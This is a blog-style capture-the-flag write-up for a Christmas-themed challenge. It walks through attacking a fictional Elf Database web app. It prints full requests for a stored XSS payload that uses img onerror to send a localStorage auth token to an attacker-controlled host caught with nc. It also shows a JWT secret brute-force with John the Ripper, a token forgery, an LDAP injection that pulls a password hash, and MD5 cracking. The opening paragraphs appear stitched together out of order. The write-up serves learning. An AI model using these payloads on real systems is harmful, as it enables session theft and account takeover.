But, alas, you and your sleuthing foiled my venture. And I would have gotten away with it too, if it weren't for you meddling kids!

You see, I cast a magic spell on the Abominable Snow Monster to make him throw all the snowballs at the North Pole. Why? Because I knew a giant snowball fight would stir up hostilities between the Elves and the Munchkins, resulting in all-out WAR between Oz and the North Pole. I was going to sell my magic and spells to both sides. War profiteering would mean GREAT business for me.

Glinda the Good Witch: It's me, Glinda the Good Witch of Oz! You found me and ruined my genius plan!

Having completed this level, we have a little chat with a certain someone:

Here's the layout I used to solve this level (I know, I got suuuper lazy, but God bless this portal):

The blog post focuses on the usleep instead of rand , but the principle is the same. So, let's create our own rand library!

The common trick is to use LD_PRELOAD . If this shell variable holds the path to a shared library, this library will be loaded before any other library, include libc . The idea is to create our own library, with our own version of rand that, for example, always return 42. Luckily for us, a SANS blog post was recently posted on the subject.

Ok, the program seems to generate a random number, using rand() , and compare the result to 42. If the random number is not equal to 42, the program outputs an error. So, how can we force rand to return 42?

Alright, we have a program, and we need to make it return 42:

On to the last application, the Elf Database. Given the name, we can expect the application to be some sort of web interface allowing us to have access to the list of North Pole's elves.

Once again, if we try to connect using Alabaster's account, we get an Incorrect username or password! error.

So, let's see what we can find from basic recon. Once again, we get some information by taking a look at the robots.txt file:

GET /robots.txt HTTP / 1.1 Host : edb.northpolechristmastown.com User-Agent : Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Cookie : SESSION=5A0K85HFazf2m0ltjg3g Connection : close

HTTP / 1.1 200 OK Server : nginx/1.10.3 Date : Sun, 07 Jan 2018 23:02:46 GMT Content-Type : text/plain; charset=utf-8 Connection : close Last-Modified : Tue, 15 Aug 2017 04:58:06 GMT User-agent: * Disallow: /dev

So, there is a /dev directory. If we browse to it, we find only one file, LDIF_template.txt :

GET /dev/LDIF_template.txt HTTP / 1.1 Host : edb.northpolechristmastown.com Upgrade-Insecure-Requests : 1 User-Agent : Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Cookie : SESSION=5A0K85HFazf2m0ltjg3g Connection : close

HTTP / 1.1 200 OK Server : nginx/1.10.3 Date : Sun, 07 Jan 2018 23:04:47 GMT Content-Type : text/plain; charset=utf-8 Content-Length : 751 Connection : close Accept-Ranges : bytes #LDAP LDIF TEMPLATE dn: dc=com dc: com objectClass: dcObject dn: dc=northpolechristmastown,dc=com dc: northpolechristmastown objectClass: dcObject objectClass: organization dn: ou=human,dc=northpolechristmastown,dc=com objectClass: organizationalUnit ou: human dn: ou=elf,dc=northpolechristmastown,dc=com objectClass: organizationalUnit ou: elf dn: ou=reindeer,dc=northpolechristmastown,dc=com objectClass: organizationalUnit ou: reindeer dn: cn= ,ou= ,dc=northpolechristmastown,dc=com objectClass: addressbookPerson cn: sn: gn: profilePath: /path/to/users/profile/image uid: ou: department: mail: telephoneNumber: street: postOfficeBox: postalCode: postalAddress: st: l: c: facsimileTelephoneNumber: description: userPassword:

This gives us some info about how the Elf Database application functions. There's obviously an LDAP backend. We also have the list of attributes for the object representing the users, including one which seems particularly juicy, userPassword .

Learning that the application uses an LDAP backend, I tried to bypass authentication using LDAP injection, but it did not work. So, let's take a look at the source code of the application. Here's what we can find on the index.html page:

< script > if ( ! document . cookie ) { window . location . href = '/' ; } else { token = localStorage . getItem ( "np-auth" ); if ( token ) { $ . post ( "/login" , { auth_token : token }). done ( function ( result ) { if ( result . bool ) { window . location . href = result . link ; } }) } } </ script > </ html >

Hmm, a token stored in the local storage, under the key np-auth seems to be used for the application session management. Let's keep digging.

Under the login form, there's a support link, where you can send a password reset request to an administrator. Since we have access to Alabaster's email account, let's try and reset his password:

POST /service HTTP / 1.1 Host : edb.northpolechristmastown.com Origin : http://edb.northpolechristmastown.com X-Requested-With : XMLHttpRequest User-Agent : Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Cookie : SESSION=6S6Nd58Sy85OK09ui063 Connection : close uid=alabaster.snowball&email=alabaster.snowball%40northpolechristmastown.com&message=I+forgot+my+password!

HTTP / 1.1 200 OK Server : nginx/1.10.3 Date : Sun, 07 Jan 2018 23:20:45 GMT Content-Type : application/json Content-Length : 115 Connection : close { "bool" : true , "link" : "/reset_request?ticket=OYHAT-T8XZR-EC2YB-U0173" , "message" : "Request Submitted. Redirecting..." }

Now that our password reset request was sent, let's check Alabaster's email! Hmm, nothing. Let's see what happened after our request was sent. We get redirected to a support ticket page:

And our message is embedded in the page. Is it possible that they forgot to sanitize our user input? Let's try to inject some special characters:

POST /service HTTP / 1.1 Host : edb.northpolechristmastown.com Origin : http://edb.northpolechristmastown.com X-Requested-With : XMLHttpRequest User-Agent : Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Referer : http://edb.northpolechristmastown.com/index.html Cookie : SESSION=53LByIBB8Ct5Z79RdsTC uid=alabaster.snowball&email=alabaster.snowball%40northpolechristmastown.com&message=<u>Pretty+underlined+message</u>

Now, if we take a look at our ticket page, we can see that the <u> tag was rendered, and my message appears underlined:

< tr > < td > Alabaster </ td > < td > Snowball </ td > < td > alabaster.snowball@northpolechristmastown.com </ td > < td > 123-456-7890 </ td > < td >< u > Pretty underlined message </ u ></ td > </ tr > </ tbody >

This means that we can try to perform an XSS attack against the administrator that will visualize our request! I usually use tags like <u> or <b> when testing for XSS, because they're usually not picked up by WAFs or by custom implemented filters. And indeed, if we take a look at the custom.js file, we can see that there's some filtering done on the client side to trigger on text like script .

// --------------------------Customer Service Request -----------------------------/ $ ( '#help_button' ). click ( function ( e ){ e . preventDefault (); var help_uid = $ ( '#help_uid' ). val (); var help_email = $ ( '#help_email' ). val (); var help_message = $ ( '#help_message' ). val (); if ( help_uid . match ( /^\w+\.\w+$/g ) != null ){ if ( help_email . match ( /^[\w\_\-\.]+\@[\w\_\-\.]+\.\w\w\w?\w?$/g ) !== null ){ if ( help_message . match ( /^.+$/g ) != null ) { if ( help_message . match ( /[sS][cC][rR][iI][pP][tT]/g ) == null ) {

Now, client-side verifications can be bypassed easily by performing the HTTP request directly. But in that case, the check (among others) was also performed on the server-side.

So, let's use another type of XSS payload, that does not involve the word script . One of the most common is to use the onerror attribute. Let's try and see:

POST /service HTTP / 1.1 Host : edb.northpolechristmastown.com Origin : http://edb.northpolechristmastown.com X-Requested-With : XMLHttpRequest User-Agent : Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Referer : http://edb.northpolechristmastown.com/index.html Cookie : SESSION=53LByIBB8Ct5Z79RdsTC uid=alabaster.snowball&email=alabaster.snowball%40northpolechristmastown.com&message=<img src=x onerror="alert('Huh oh, Spaghettios')" />

Bingo, it works! Now, let's create a payload that will capture the np-auth entry from the local storage. The application uses jQuery, which means that we can use $.get to easily exfiltrate our token to our public-facing website:

POST /service HTTP / 1.1 Host : edb.northpolechristmastown.com Origin : http://edb.northpolechristmastown.com X-Requested-With : XMLHttpRequest User-Agent : Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Referer : http://edb.northpolechristmastown.com/index.html Cookie : SESSION=53LByIBB8Ct5Z79RdsTC uid=alabaster.snowball&email=alabaster.snowball%40northpolechristmastown.com&message=<img src=x onerror="$.get(%26quot;http://X.X.X.X/?%26quot;%2blocalStorage.getItem(%26quot;np-auth%26quot;),function(a,b){})" />

And in a nc on our server, we wait for our payload to get triggered:

# nc -nvk -l -p 80 listening on [any] 80 ... connect to [X.X.X.X] from (UNKNOWN) [Y.Y.Y.Y] 50132 GET /?eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4I3CtrWt4SGwfg7mi6V9_4raZE5ehVkI9h04kr6I HTTP/1.0 Host: X.X.X.X Connection: close Accept: */* Referer: http://127.0.0.1/reset_request?ticket=DFYCN-8UI5I-AD87J-BRR9P Origin: http://127.0.0.1 User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1 Accept-Encoding: gzip, deflate Accept-Language: en-US,*

Hurray, we got our token! Let's put it in our local storage, then head to the index.html page, and... nothing. Well that's disappointing. Let's take a look at our token. It seems to be three base64-encoded pieces of data, separated by full stops. This seems to indicate that this is a JSON Web Token (JWT). The first part is the header, {"alg":"HS256","typ":"JWT"} , the second part is the payload, {"dept":"Engineering","ou":"elf","expires":"2017-08-16 12:00:47.248093+00:00","uid":"alabaster.snowball"} , and the third part is the signature.

Our newfound token didn't work because it seems that it expired in August 2017. We could modify the expiry date to put it in the future, but we can't compute a new signature for our modified payload, because we don't know what secret key is used. I tried using the trick of the none algorithm (described here), which has worked for coworkers of mine in the past. But it didn't work in that case.

What's left to us is to try and bruteforce the secret key, so that we can create our own JWT. JohnTheRipper can actually bruteforce it for us, since it can bruteforce HMAC-256 secret keys. We just have to make some changes to our token:

$ cat alabaster_jwt.txt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9#33b6782370adad6b78486c1f83b9a2e95f7fe2b6991397a156423d874e24afa2 $ john ./alabaster_jwt.txt Using default input encoding: UTF-8 Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 3lv3s (?) 1g 0:00:02:28 DONE 3/3 (2018-01-08 00:59) 0.006742g/s 2154Kp/s 2154Kc/s 2154KC/s 3k3ys..au10. Use the "--show" option to display all of the cracked passwords reliably Session completed

Wow, it worked. I must confess that it was kind of my last hope, and I wasn't sure it was going to work. But hey, we now have our secret key, 3lv3s , and we can now generate valid JWT for Alabaster. I used https://jwt.io/ to do so, and obtain the following token:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE4LTAxLTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.OsSuRkYF-13eNfXyuCDYmb9XUjBhnbmQ9Oe1yRWDrH0

We can now log into the application:

There's a Santa panel, but we're not identified as Santa, so we can't access it. We could try to forge a JWT for Santa, but we can see in the source code of the application, that we actually need his password:

$ ( '#santa_panel' ). click ( function ( e ){ e . preventDefault (); if ( user_json [ 'dept' ] == 'administrators' ) { pass = prompt ( 'Confirm you are a Claus by confirming your password: ' ). trim () if ( pass ) { poster ( "/html" , { santa_access : pass }, token , function ( result ){ if ( result ) { $ ( '#inneroverlay' ). html ( result ); $ ( '.overlay' ). css ( 'display' , 'flex' ); } else { Materialize . toast ( 'Incorrect Password...' , 4000 ); } }); } } else { Materialize . toast ( 'You must be a Claus to access this panel!' , 4000 ); } });

So, we need to find a way to get his password. Let's take a look at the application. Apparently, we can query the application's database for elves or reindeers matching certain names, and get some properties:

POST /search HTTP / 1.1 Host : edb.northpolechristmastown.com np-auth : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE4LTAxLTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.OsSuRkYF-13eNfXyuCDYmb9XUjBhnbmQ9Oe1yRWDrH0 X-Requested-With : XMLHttpRequest User-Agent : Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Referer : http://edb.northpolechristmastown.com/home.html Cookie : SESSION=4wtVec24212atYU1RpE3 Connection : close name=alabaster&isElf=True&attributes=profilePath,gn,sn,mail

HTTP / 1.1 200 OK Server : nginx/1.10.3 Date : Mon, 08 Jan 2018 00:08:50 GMT Connection : close [[["cn=alabaster,ou=elf,dc=northpolechristmastown,dc=com",{"gn":["Alabaster"],"mail":["alabaster.snowball@northpolechristmastown.com"],"profilePath":["/img/elves/elf1.PNG"],"sn":["Snowball"]}]]]

Given the result's format, we can expect the application to performan LDAP query to retrieve the wanted attributes. If only we knew the syntax of this query... But, wait! Let's see what we have in the application source code:

//Note: remember to remove comments about backend query before going into north pole production network /* isElf = 'elf' if request.form['isElf'] != 'True': isElf = 'reindeer' attribute_list = [x.encode('UTF8') for x in request.form['attributes'].split(',')] result = ldap_query('(|(&(gn=*'+request.form['name']+'*)(ou='+isElf+'))(&(sn=*'+request.form['name']+'*)(ou='+isElf+')))', attribute_list) #request.form is the dictionary containing post params sent by client-side #We only want to allow query elf/reindeer data */

We have the syntax of the query. And there doesn't seem to be any filtering on our parameters, so we can try to perform an LDAP injection. I recommend you read this link, to better understand how the LDAP syntax works.

Now, we want to perform our injection in the name parameter. The goal is to get a query that will match Santa's user entry. I ended up going with the following payload: santa*)(ou=*))(&(sn=foo . Indeed, the final syntax is then:

(|(&(gn=*santa*)(ou=*))(&(sn=foo*)(ou=elf))(&(sn=*santa*)(ou=*))(&(sn=foo*)(ou=elf)))

This query should match Santa, since we're searching for entries with names containing santa in any organizational unit. Now, let's perform our search. Since we're allowed to query any attributes we want, let's ask for the userPassword attribute, found in the earlier LDIF_template.txt file:

POST /search HTTP / 1.1 Host : edb.northpolechristmastown.com Accept : */* Origin : http://edb.northpolechristmastown.com np-auth : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE4LTAxLTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.OsSuRkYF-13eNfXyuCDYmb9XUjBhnbmQ9Oe1yRWDrH0 Content-Type : application/x-www-form-urlencoded; charset=UTF-8 Referer : http://edb.northpolechristmastown.com/home.html Cookie : SESSION=4F359T9wWTvpBczV3335 name=santa*)(ou=*))(%26(sn=foo&isElf=True&attributes=userPassword

HTTP / 1.1 200 OK Server : nginx/1.10.3 Date : Mon, 08 Jan 2018 00:16:42 GMT Content-Type : application/json Content-Length : 113 Connection : close [[[ "cn=santa,ou=human,dc=northpolechristmastown,dc=com" ,{ "userPassword" :[ "d8b4c05a35b0513f302a85c409b4aab3" ]}]]]

We now have Santa's hashed password. Given the form, it seems to be an MD5 hash. Let's use JohnTheRippher again to try and crack it:

$ cat santa_password.txt d8b4c05a35b0513f302a85c409b4aab3 $ john --format = raw-md5 --wordlist = ./rockyou.txt ./santa_password.txt Using default input encoding: UTF-8 Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3]) Warning: no OpenMP support for this hash type, consider --fork=4 Press 'q' or Ctrl-C to abort, almost any other key for status 001cookielips001 (?) 1g 0:00:00:00 DONE (2018-01-08 01:23) 1.315g/s 18776Kp/s 18776Kc/s 18776KC/s 002007238..00196900 Use the "--show" option to display all of the cracked passwords reliably Session completed

Hurray, we have Santa's password! We can now log into the application, and access his panel. This gives us access to this letter, sent to him:

Here's what the letter says:

From: The Wizard of Oz Emerald City, Oz To: Santa Claus Christmas Town, North Pole Dear Santa, My old friend! I wish you a very merry Christmas. Thank you for all you do to bring holiday cheer around the world. Every year, I enjoy our gift exchange -- you giving me a Christmas present and I giving you a Solstice gift. We've exchanged some crazy things in the past. By my reckoning, you've given me: Big Hair Hairspray

Pink Election Campaign Hat

Bacon Bandages

Scapy the Unicorn Plush Pillow

Princess Leia Earmuffs

Bacon Tie with Giant TV Remote

Stormtrooper Boxer Shorts Ah what fun times! And I've given you: The Nubulator

Garden Gnome

Justin Bieber Toothbrush

Snorty the Pig Hat and Pink Gloves

Giant Inflatable Olaf the Snowman

Ariana Grande Light-up Cat Ear Headphones Well, wait 'til you see what I've got for you this year, my friend! Yule love it! Merry Christmas! —The Wizard

Well, it's nice to see that Santa gets gifts too!